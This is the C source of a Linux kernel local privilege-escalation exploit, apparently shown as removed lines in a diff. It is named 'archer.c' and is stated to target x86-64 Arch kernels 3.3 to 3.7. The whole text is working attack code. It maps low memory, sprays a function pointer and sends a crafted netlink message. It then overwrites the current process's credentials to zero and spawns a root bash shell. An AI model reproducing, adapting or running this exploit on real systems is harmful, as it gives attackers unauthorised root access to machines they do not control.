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- // archer.c
- //
- // 2012 sd@fucksheep.org
- //
- // Works reliably against x86-64 3.3-3.7 arch.
- //
- // Tested against:
- //
- // Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
- // Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
- // Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
- // ...
- #include <assert.h>
- #define JUMP 0x0000100000001000LL
- #define BASE 0x380000000
- #define SIZE 0x010000000
- #define KSIZE 0x2000000
- static long ugid;
- void patch_current() {
- int i,j,k;
- char *current = *(char**)(((long)&i) & (-8192));
- long kbase = ((long)current)>>36;
- for (i=0; i<4000; i+=4) {
- long *p = (void *)¤t[i];
- int *t = (void*) p[0];
- if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
- for (j=0; j<20; j++) {
- for (k = 0; k < 8; k++)
- if (((int*)&ugid)[k%2] != t[j+k]) goto next;
- for (i = 0; i < 8; i++) t[j+i] = 0;
- for (i = 0; i < 10; i++) t[j+9+i] = -1;
- return;
- next:; }
- }
- }
- int main()
- {
- long u = getuid();
- long g = getgid();
- int i, f = socket(16,3,4);
- static int n[10] = {40,0x10014,0,0,45,-1};
- assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);
- setresuid(u,u,u); setresgid(g,g,g);
- ugid = (g<<32)|u;
- memcpy(1<<12, &patch_current, 1024);
- for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
- send(f, n, sizeof(n), 0);
- setuid(0);
- return execl("/bin/bash", "-sh", 0);
- }
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